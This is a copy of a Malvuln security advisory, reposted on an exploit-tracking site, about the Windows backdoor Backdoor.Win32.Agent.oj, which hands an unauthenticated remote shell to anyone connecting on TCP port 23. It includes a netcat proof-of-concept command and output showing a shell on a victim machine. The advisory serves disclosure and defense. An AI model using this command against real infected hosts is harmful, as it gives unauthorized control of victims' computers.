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BACKDOOR.WIN32.AGENT.OJ / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-77 N/A High
Author Risk Exploitation Type Date
N/A High Remote 2021-04-30
CPE
cpe:cpe:/o:microsoft:windows
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040164

Below is a copy:

BACKDOOR.WIN32.AGENT.OJ / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.oj
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 23, upon connection to an infected host third-party attackers get handed a remote shell.
Type: PE32
MD5: c1e92e04cdb432d83ea2610ef226d4cd
Vuln ID: MVID-2021-0197
Dropped files: 
Disclosure: 04/29/2021

Exploit/PoC:
C:\>nc64.exe MALWARE_HOST_IP 23
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\victim>whoami
whoami
desktop-1x6iqwn\victim

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